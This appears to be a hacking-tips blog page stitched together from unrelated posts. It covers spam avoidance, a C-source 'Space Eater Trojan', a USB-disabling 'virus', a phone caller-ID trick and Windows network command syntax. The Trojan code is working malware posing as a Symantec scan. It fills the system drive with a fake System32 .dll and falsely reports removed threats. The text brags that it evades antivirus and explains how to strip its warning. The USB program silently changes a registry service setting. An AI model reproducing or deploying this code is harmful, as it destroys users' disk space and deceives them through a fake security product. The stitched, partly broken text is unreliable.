On the Internet there exists many sites who collect the email IDs of people and sell them to spammers in bulk. Most often, people sign up for monthly newsletters and take up surveys. This is the time where these scam sites get their email addresses. Also many spammers collect email addresses by using spambots. These spambots collect email addresses from the Internet in order to build mailing lists. Such spambots are web crawlers that can gather email addresses from Web sites, newsgroups, forums, special-interest group (SIG) postings, and chat-room conversations.

Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others. Most of the people believe this and start forwarding this hoax email to all of the IDs in their contact list. In this way the email spreads rapidly and eventually when it reaches the creator (spammer), the spammer gets a huge list of valid email addresses in the email header. When you get these kind of hoax emails, you can see for yourself in the email header which contains a huge list of email addresses of all those people to whom the email is being forwarded to. This is one of the effective methods used by spammers to gather email addresses.

Is SPAMming legal?

Spamming is completely illegal. Yet it is really difficult to stop spammers from spamming since they keep moving from one hosting company to another after getting banned. This makes it practically impossible to catch spammers and prosecute them.

How to protect my email account from getting SPAMmed?

The following methods can be used to combat email spam.

1. Use spam filters for your email account. If you’re using email services like Gmail, Yahoo, Hotmail etc. then spam filters are used by defaut. Each spam filter has it’s algorithm to detect spam emails and will automatically move them to SPAM folder. This keeps your inbox free from spam. However some spam emails become successful to make their way into the inbox by successfully bypassing the filters.

2. Do not post your email address in public forums, user comments and chat-rooms. Give your email address only to trustworthy websites while signing up for newsletters.

3. While taking up online surveys and filling up feedback forms, it is better not to give your personal email address. Instead singup for a dummy email account and use this for surveys and feedback forms.

4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.

5. Do not respond to hoax messages. When you receive a hoax email, avoid forwarding it to your friends. Examples of hoax messages can be found at www.hoax-slayer.com. If you really want to forward it to your friends, make sure that you use “Bcc” (blind certified copy) option to send the email. This will hide all the email IDs to which the mail is forwarded to.

Space Eater Troajan Using C language

#include stdio.h
#include conio.h
#include dos.h
#include stdlib.h
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}
_______________________________________________________________________________
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.


For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
Open c language

type the followiing code:

______________________________________________________
#include

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
__________________________________________________
now compile it it will disablethe USB port



Hey!! hey!! hey!!


you need not to worry you can try this at also your computer coz i am also giving to you the the escaping solution of it too.

_________________________________________________
#include

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
_________________________________________________
this code will unblock the usb port!!

Get a Call from your own Cell Phone number

Here is a trick to get a call to your cell phone from your own number.Do you think I am crazy? No, I am not…….

Just try the following steps and you’ll get a call to your cell phone from your own number.



1. Just give a missed call to this number.You’ll not be charged!

+41445804650
2. Wait for a few seconds and you’ll get a call to your cell phone from your own number

3. Receive the call.You’ll hear a lady voice asking for a PIN number.Just enter some rubbish number.

4. She say’s- Your PIN cannot be processed and the call disconnects..

ANOTHER TRICK
Instead of giving a missed call, just continue calling.The call will not be received and will get disconnected just after a while.But now do you know what happen’s?

You will get a call from the number

+501

Use of Ping, Netstat, nslookup, telnet for information about hacking

ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] target_name




-t Ping the specified host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.
____________________________________________________________________________
TELNET
telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]
-a Attempt automatic logon. Same as -l option except uses
the currently logged on user's name.
-e Escape character to enter telnet client prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system.
Requires that the remote system support the TELNET ENVIRON option.
-t Specifies terminal type.
Supported term types are vt100, vt52, ansi and vtnt only.
host Specifies the hostname or IP address of the remote computer
to connect to.
port Specifies a port number or service name.
__________________________________________________________________________________
NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval]

-a Displays all connections and listening ports.
-b Displays the executable involved in creating each connection or
listening port. In some cases well-known executables host
multiple independent components, and in these cases the
sequence of components involved in creating the connection
or listening port is displayed. In this case the executable
name is in [] at the bottom, on top is the component it called,
and so forth until TCP/IP was reached. Note that this option
can be time-consuming and will fail unless you have sufficient
permissions.
-e Displays Ethernet statistics. This may be combined with the -s
option.
-n Displays addresses and port numbers in numerical form.
-o Displays the owning process ID associated with each connection.
-p proto Shows connections for the protocol specified by proto; proto
may be any of: TCP, UDP, TCPv6, or UDPv6. If used with the -s
option to display per-protocol statistics, proto may be any of:
IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, and UDPv6;
the -p option may be used to specify a subset of the default.
-v When used in conjunction with -b, will display sequence of
components involved in creating the connection or listening
port for all executables.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.
___________________________________________________________________________________
The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains.These are the basic IP Hacking Commands that everyone must know!

NOTE: The term Host used in this article can also be assumed as a Website for simple understanding purpose.

1. PING

PING is a simple application (command) used to determine whether a host is online and available.PING command sends one or more ICMP Echo messages to a specified host requesting a reply.The receiver (Target Host) responds to this ICMP Echo message and returns it back to the sender.This confirms that the Host is online and available.Otherwise the host is said to be unavailable.

Syntax:
C:>ping gohacking.com

2. TELNET
Telnet command is used to connect to a desired host on a specified port number.For example
Syntax:
C:>telnet yahoo.com 25
C:>telnet yahoo.com

NOTE: The default port number is 23.When the port number is not specified the default number is assumed.
Telnet Hacking is explained in detail in the following post.
How To Send Fake Email

3. NSLOOKUP
Many times we think about finding out the IP address of a given site.Say for example google.com,yahoo.com,microsoft.com etc.But how to do this? For this there are some websites that can be used to find out the IP address of a given site.But in Windows we have an inbuilt tool to do this job for us.It is nslookup.Yes this tool can be used for resolving a given domain name into it’s IP address (determine the IP of a given site name).Not only this it can also be used for reverse IP lookup.That is if the IP address is given it determines the corresponding domain name for that IP address.

Syntax:
C:>nslookup google.com

4. NETSTAT

The netstat command can be used to display the current TCP/IP network connections.For example the following netstat command displays all connections and their corresponding listening port numbers.

Eg: C:>netstat -a

This command can be used to determine the IP address/Host names of all the applications connected to your computer.If a hacker is connected to your system even the hacker’s IP is displayed.So the netstat command can be used to get an idea of all the active connections to a given system.